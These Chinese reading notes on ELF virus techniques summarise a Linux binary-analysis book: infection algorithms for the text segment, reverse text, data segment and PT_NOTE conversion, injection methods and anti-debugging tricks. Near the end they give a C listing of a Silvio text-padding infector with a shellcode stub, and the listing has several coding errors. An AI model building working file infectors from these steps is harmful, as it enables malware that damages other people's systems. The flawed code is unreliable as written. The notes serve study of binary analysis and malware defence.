《linux二进制分析》读书笔记总结--ELF病毒技术-linux/unix病毒
ELF 病毒的本质
每个可执行文件都有一个控制流,也叫执行路径。ELF 病毒的首要目标是劫持控制流,暂时改变程序的执行路径来执行寄生代码。
寄生代码通常负责设置钩子来劫持函数,还会将自身代码复制到没有感染病毒的程序中。一旦寄生代码执行完成,通常会跳转到原始的入口点或程序正常的执行路径上。通过这种方式,宿主程序貌似是正常执行的,病毒就不容易被发现
特点:
- 能感染可执行文件
- 寄生代码必须是独立的,能够在物理上寄存与另一个程序内部,不能依赖动态链接器链接外部的库。独立于其他文件、代码库、程序等。
- 被感染的宿主文件能继续执行并传播病毒
设计ELF病毒的挑战
独立寄生代码
原因:每次感染的地址都会变化,寄生代码每次注入二进制文件中的位置也会变化,所以寄存程序必须能够动态计算出所在的内存地址。寄生代码可以使用IP相对代码,通过函数相对指令指针的偏移量来计算出代码的地址来执行函数。
解决方案:使用gcc的-nostdlib
或-fpic
-pie
选项可以将其编译成位置独立的代码
字符串存储复杂度
原因:在病毒代码处理字符串时,如果遇到这样的代码const char *name = "elfvirus";
,编译器会将字符串数据存放在.rodata节中,然后通过地址对字符串进行引用,一旦使用病毒注入到其他程序中,这个地址就会失效
解决方案:
- 编写病毒代码时使用栈来存放字符串
- 用gcc的
-N
选项,将text段和data段合并到一个单独的段中,使这个段具有可读、可写、可执行权限,这样病毒在感染时就会将这整个段注入,并包括了.rodata节的字符串数据
寻找存放寄生代码的合理空间
问题: 在设计病毒时首先要回答的问题之一便是要将病毒体(病毒的代码)注入到哪里?换言之,寄生代码要寄存在宿主代码中的什么位置?不同的二进制格式需要有不同的注入方式,但是都需要根据 ELF 头的值进行适当的调整
面临的挑战不是找到空间存放代码,而是去调整 ELF 二进制文件,以便于能够去使用空间,同时要使得可执行文件看起来正常执行,并能够保证病毒可以潜藏在 ELF 文件中以 ELF 规范正常执行。在修改二进制文件和文件布局时,需要考虑许多问题,如页对齐、偏移调整、地址调整等
将执行控制流传给寄生代码
问题:在许多情况下,完全可以调整 ELF 文件头来将入口点指向寄生代码。这样做比较可靠,但是也会非常明显。如果入口点被修改后指向了寄生代码,就可以使用 readelf –h 命令查看入口点,立即就能知道寄生代码的位置。
方案:找一个合适的位置来插入/修改一个分支,通过分支跳转到寄生代码,如插入一个 jmp 或者重写函数指针。一个比较合适的地方就是.ctors 或者.init_array 节,这两个节中存放着函数
的指针。如果不介意宿主程序执行完之后再执行寄生代码,可以使用.dtors或.fini_array 节。
ELF 病毒寄生代码感染方法
Silvio 填充感染
原理:利用了内存中 text段和 data 段之间存在的一页大小的填充空间,在磁盘上,text 段和 data 段是紧挨着的,不过可以利用这两个段之间的区域作为病毒体的存放区域
.text感染算法
- 增加ELF文件头中的ehdr->e_shoff(节表偏移)的PAGE_SIZE(页长度)
- 定位text段的phdr
修改入口点ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
增加phdr[TEXT].p_filesz(文件长度)的长度为寄生代码的长度
增加phdr[TEXT].p_memsz(内存长度)的长度为寄生代码的长度
- 对每个phdr(程序头),对应段若在寄生代码之后,则根据页长度增加对应的偏移
- 找到text段的最后一个shdr(节头),把shdr[x].sh_size增加为寄生代码的长度
- 对每个位于寄生代码插入位置之后shdr,根据页长度增加对应的偏移
- 将真正的寄生代码插入到text段的file_base + phdr[TEXT].p_filesz(text段的尾部)
逆向text感染
在允许宿主代码保持相同虚拟地址的同时感染.text节区的前面部分,我们要逆向扩展text段,将text段的虚拟地址缩减PAGE_ALIGN(parasite_size)。
在现代Linux系统中允许的最小虚拟映射地址是0x1000,也就是text的虚拟地址最多能扩展到0x1000。在64位系统上,默认的text段虚拟地址通常是0x400000,这样寄生代码可占用的空间就达到了0x3ff000字节。在32位系统上,默认的text段虚拟地址通常是0x0804800,这就有可能产生更大的病毒。
计算一个可执行文件中可插入的最大寄生代码大小公式:
max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))
感染算法:
- 将ehdr_eshoff增加为寄生代码长度
- 找到text段和phdr,保存p_vaddr(虚拟地址)的初始值
根据寄生代码长度减小p_vaddr和p_paddr(物理地址)
根据寄生代码长度增大p_filesz和p_memsz
- 遍历每个程序头的偏移,根据寄生代码的长度增加它的值;使得phdr前移,为逆向text扩展腾出空间
- 将ehdr->e_entry设置为原始text段的虚拟地址:
orig_text_vaddr - PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)
- 根据寄生代码的长度增加ehdr->e_phoff
- 创建新的二进制文件映射出所有的修改,插入真正的寄生代码覆盖旧的二进制文件。
data段感染
data段的数据有R+W权限,而text段来R+X权限,我们可以在未设置NX-bit的系统(32位linux系统)上,不改变data段权限并执行data段中的代码,这样对寄生代码的大小没有限制。但是要注意为.bss节预留空间,尽管.bss节不占用空间,但是它会在程序运行时给未初始化的遍历在data段末尾分配空间。
感染算法:
- 将ehdr->e_shoff增加为寄生代码的长度
- 定位data段的phdr
将ehdr->e_entry指向寄生代码的位置 phdr->pvaddr + phdr->filesz
将phdr->p_filesz,phdr->p_memsz增加为寄生代码的长度
- 调整.bss节头,使其偏移量和地址能反映寄生代码的尾部
- 设置data段的权限(在设置了NX-bit的系统上,未设置的系统不需要这步)
phdr[DATA].p_flags |= PF_X;
- 使用假名为寄生代码添加节头,防止有人执行
/usr/bin/strip <program>
将没有进行节头说明的寄生代码清除掉。 - 创建新的二进制文件映射出所有的修改,插入寄生代码覆盖旧的二进制文件。
PT_NOTE 到 PT_LOAD 转换感染
原理:
将 PT_NOTE 段的类型改为 PT_LOAD,然后将段的位置移到其他所有段之后。当然,也可以通过创建一个 PT_LOAD phdr条目来创建一个新的段,但是由于程序在没有 PT_NOTE 段时仍将执行,因此
将其转换为 PT_LOAD 类型。我自己还未在病毒中实现这种感染方法,不过我在 Quenya v0.1 中设计了一项新特性,即允许增加一个新的段。
PT_NOTE 到 PT_LOAD 转换感染算法
1.定位 data 段 phdr
- 找到 data 段结束的地址: ds_end_addr = phdr->p_vaddr + p_memsz
- 找到 data 段结束的文件偏移量: ds_end_off = phdr->p_offset + p_filesz
- 获取到可加载段的对齐大小: align_size = phdr->p_align
2.定位 PT_NOTE phdr
- 将 phdr 转换成 PT_LOAD: phdr->p_type = PT_LOAD;
- 将下面起始地址赋给 phdr: ds_end_addr + align_size
- 将寄生代码的长度赋给 phdr: phdr->p_filesz += parasite_size;phdr->p_memsz += parasite_size
3.对新建的段进行说明:ehdr->e_shoff += parasite_size
4.创建一个新的二进制文件映射出 ELF 头的修改和新的段,插入真正的寄生代码
进程内存病毒和 rootkits——远程代码注入技术
共享库注入
- .so 感染/ET_DYN 感染
- .so 感染——使用 LD_PRELOAD
- 使用 LD_PRELOAD 注入 wicked.so.1
- .so 感染——利用 open()/mmap() shellcode
- .so 感染——使用 dlopen() shellcode
- .so 感染——使用 VDSO 控制技术
text 段代码注入
可执行文件注入
重定位代码注入——ET_REL 注入
ELF 反调试和封装技术
PTRACE_TRACEME 技术
原理:
PTRACE_TRACEME 技术利用了进程追踪的一项特性—一个程序在同一时间只能被一个进程追踪,几乎所有的调试器,包括 GDB,都会使用
ptrace。这项技术的思路就是让程序追踪自身,这样调试器就无法附加到该进程了
SIGTRAP 处理技术
原理:
程序可以设置一个信号处理器来捕获SIGTRAP 信号,然后故意发出一个断点指令,信号处理器捕获到 SIGTRAP信号之后,会将一个全局变量从 0 加到 1。
随后程序会对这个全局变量进行检查,看是否已经从 0 加到 1 了,如果是,就说明我们自己的程序捕获到了断点,目前还没有被调试器调试。如果否(即为 0),那就说明目前一定存在调试器在对该程序进行调试。为了防止被调试,程序可以选择终止自身进程或者退出
static int caught = 0; int sighandle(int sig) { caught++; } int detect_debugger(void) { __asm__ volatile("int3"); if (!caught) { printf("There is a debugger attached!\n"); return 1; } }
/proc/self/status 技术
原理:每个进程都有动态文件,文件中包含了许多信息,其中就存放了进程是否正在被追踪的相关信息
下面是/proc/self/status 的布局示例,可以通过对此进行解析来检
测追踪者或者调试器:
1 ryan@elfmaster:~$ head /proc/self/status 2 Name: head 3 State: R (running) 4 Tgid: 19813 5 Ngid: 0 6 Pid: 19813 7 PPid: 17364 8 TracerPid: 0 9 Uid: 1000 1000 1000 1000 10 Gid: 31337 31337 31337 31337 11 FDSize: 256
上面输出中显示的“TracerPid: 0”表示进程没有被追踪。程序要检查自身是否被追踪,可以打开/proc/slf/status,然后检查这一项的值
是否为 0。如果不为 0,则说明程序正在被追踪,就可以终止自身进程或者立即退出
text段填充感染实例
(1)调整 ELF 头
1 #define JMP_PATCH_OFFSET 1 // how many bytes into the shellcode do we 2 patch 3 /* movl $addr, %eax; jmp *eax; */ 4 char parasite_shellcode[] = 5 "\xb8\x00\x00\x00\x00" 6 "\xff\xe0" 7 ; 8 int silvio_text_infect(char *host, void *base, void *payload, 9 size_t host_len, size_t parasite_len) 10 { 11 Elf64_Addr o_entry; 12 Elf64_Addr o_text_filesz; 13 Elf64_Addr parasite_vaddr; 14 uint64_t end_of_text; 15 int found_text; 16 uint8_t *mem = (uint8_t *)base; 17 uint8_t *parasite = (uint8_t *)payload; 18 Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem; 19 Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff]; 20 Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff]; 21 /* 22 * Adjust program headers 23 */ 24 for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) { 25 if (phdr[i].p_type == PT_LOAD) { 26 if (phdr[i].p_offset == 0) { 27 o_text_filesz = phdr[i].p_filesz; 28 end_of_text = phdr[i].p_offset + 29 phdr[i].p_filesz; 30 parasite_vaddr = phdr[i].p_vaddr + 31 o_text_filesz; 32 phdr[i].p_filesz += parasite_len; 33 phdr[i].p_memsz += parasite_len; 34 for (j = i + 1; j < ehdr->e_phnum; 35 j++) 36 if (phdr[j].p_offset > 37 phdr[i].p_offset + 38 o_text_filesz) 39 phdr[j].p_offset 40 += PAGE_SIZE; 41 } 42 break; 43 } 44 } 45 for (i = 0; i < ehdr->e_shnum; i++) { 46 if (shdr[i].sh_addr > parasite_vaddr) 47 shdr[i].sh_offset += PAGE_SIZE; 48 else 49 if (shdr[i].sh_addr + shdr[i].sh_size == 50 parasite_vaddr) 51 shdr[i].sh_size += parasite_len; 52 } 53 /* 54 * NOTE: Read insert_parasite() src code next 55 */ 56 insert_parasite(host, parasite_len, host_len, 57 base, end_of_text, parasite, 58 JMP_PATCH_OFFSET); 59 return 0; 60 }
(2)插入寄生代码
1 #define TMP "/tmp/.infected" 2 void insert_parasite(char *hosts_name, size_t psize, size_t hsize, 3 uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t 4 jmp_code_offset) 5 { 6 /* note: jmp_code_offset contains the 7 * offset into the payload shellcode that 8 * has the branch instruction to patch 9 * with the original offset so control 10 * flow can be transferred back to the 11 * host. 12 */ 13 int ofd; 14 unsigned int c; 15 int i, t = 0; 16 open (TMP, O_CREAT | O_WRONLY | O_TRUNC, 17 S_IRUSR|S_IXUSR|S_IWUSR); 18 write (ofd, mem, end_of_text); 19 *(uint32_t *) ¶site[jmp_code_offset] = old_e_entry; 20 write (ofd, parasite, psize); 21 lseek (ofd, PAGE_SIZE - psize, SEEK_CUR); 22 mem += end_of_text; 23 unsigned int sum = end_of_text + PAGE_SIZE; 24 unsigned int last_chunk = hsize - end_of_text; 25 write (ofd, mem, last_chunk); 26 rename (TMP, hosts_name); 27 close (ofd); 28 }
函数应用示例:
1 uint8_t *mem = mmap_host_executable("./some_prog"); 2 silvio_text_infect("./some_prog", mem, parasite_shellcode, 3 parasite_len);
参考资料:
《linux二进制分析》
https://www.anquanke.com/post/id/85256